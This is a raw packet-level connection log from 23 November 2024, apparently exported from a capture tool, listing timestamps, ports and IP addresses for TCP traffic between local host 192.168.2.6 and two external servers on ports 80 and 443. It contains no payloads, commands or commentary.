Nov 23, 2024 19:52:54.870579004 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.871433020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.871539116 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.871618986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.872267962 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.872339010 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.872370005 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.872663021 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.873164892 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.875519991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.892606974 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.892631054 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.892674923 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.892684937 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.892736912 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.892736912 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.949285030 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.952538013 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.952548981 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.953275919 CET	49887	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.953279972 CET	443	49887	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.960602045 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.960658073 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.960700035 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.960707903 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.960743904 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.960813999 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.977533102 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.977560997 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.977660894 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.977660894 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.977669954 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:54.977976084 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:54.987442017 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.987574100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.987608910 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.987915039 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.987921000 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.987993956 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.988075018 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.988153934 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.988179922 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.988249063 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.988997936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.989109039 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.989150047 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.989379883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.989933968 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.990036964 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.990057945 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.990175962 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.990856886 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.990956068 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.991086960 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.991754055 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.991811037 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.991871119 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.991976023 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.992681026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.992693901 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.992772102 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.993578911 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.993694067 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.993738890 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.993874073 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.994491100 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.994591951 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.994652987 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.995403051 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.995450974 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.995583057 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.996328115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.996407986 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.996684074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.997294903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.997364998 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.997421980 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.998151064 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.998251915 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.998300076 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.998366117 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.999056101 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.999176979 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:54.999288082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:54.999974966 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.000036955 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.000094891 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.000912905 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.000926018 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.001328945 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.001833916 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.001846075 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.001983881 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.002697945 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.002732992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.002790928 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.003618002 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.003740072 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.003779888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.003911018 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.004539013 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.004636049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.004712105 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.005455017 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.005619049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.005672932 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.005842924 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.006536961 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.006635904 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.006719112 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.007275105 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.007378101 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.007419109 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.007550001 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.008177996 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.008263111 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.008296013 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.008405924 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.009098053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.009215117 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.009241104 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.009299994 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.010027885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.010126114 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.010130882 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.010281086 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.010915041 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.011046886 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.011086941 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.011795044 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.012182951 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.015666008 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.015686989 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.015810013 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.015819073 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.020098925 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.058780909 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.058831930 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.058950901 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.058950901 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.058959961 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.059030056 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.072168112 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.072251081 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.072278023 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.072402000 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.075628996 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.075637102 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.094048977 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.097877026 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.097893000 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.099926949 CET	49888	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.099932909 CET	443	49888	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.117039919 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.117188931 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.117189884 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.117307901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.117477894 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.117549896 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.117590904 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.118535042 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.118588924 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.119259119 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.119563103 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.119672060 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.120480061 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.120563984 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.121412992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.121443033 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.121521950 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.121562958 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.122293949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.122411966 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.122462034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.122765064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.123215914 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.123308897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.123341084 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.123724937 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.124135971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.124241114 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.124394894 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.125051022 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.125138998 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.125247955 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.125946999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.126054049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.126091003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.126889944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.126972914 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.127038002 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.127331972 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.127780914 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.127878904 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.128021002 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.128770113 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.128815889 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.128911018 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.128911018 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.129622936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.129762888 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.129793882 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.130234003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.130517960 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.130624056 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.130728960 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.131184101 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143301964 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143357992 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143414021 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143435001 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143446922 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143457890 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143476009 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143487930 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143498898 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143542051 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143542051 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143542051 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143560886 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143560886 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143604994 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143616915 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143651009 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143667936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143692017 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143708944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143717051 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143717051 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143722057 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143739939 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143753052 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143763065 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143774986 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143785000 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.143785000 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143785000 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143806934 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.143846989 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.153883934 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.154849052 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.154871941 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.155428886 CET	49889	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.155436039 CET	443	49889	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.160424948 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.160449982 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.160548925 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.160548925 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.160567999 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.161147118 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.169306993 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.170010090 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.170023918 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.170548916 CET	49890	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.170556068 CET	443	49890	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.188667059 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.188765049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.188786030 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.188879013 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.189069986 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.189201117 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.189301968 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.189407110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.189446926 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.189796925 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.190187931 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.190227985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.190701962 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.200364113 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.200391054 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.200489998 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.200500965 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.201702118 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:55.246632099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.246799946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.246840954 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.246844053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.246884108 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.247055054 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.247124910 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.247334003 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.247709990 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.247921944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.248090029 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.248605013 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.248733997 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.248795986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.248857975 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.249044895 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.249663115 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.249768972 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.250006914 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.250356913 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.250453949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.250534058 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.250622988 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.251328945 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.251348019 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.251406908 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.251406908 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.252213001 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.252322912 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.252384901 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.252403975 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.253089905 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.253212929 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.253283978 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.254014969 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.254143000 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.254425049 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.254959106 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.255038023 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.255163908 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.255851030 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.256067038 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.256073952 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.256742954 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.256865025 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.256880999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.256953001 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.257688046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.257796049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.257821083 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.258601904 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.258662939 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.258722067 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.259335041 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.259502888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.259659052 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.259707928 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.260380030 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.260473967 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.260512114 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.260668039 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.261349916 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.261446953 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.261629105 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:55.262356043 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:55.262377977 CET	443	49891	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:55.262475967 CET	80	49831	185.215.113.206	192.168.2.6
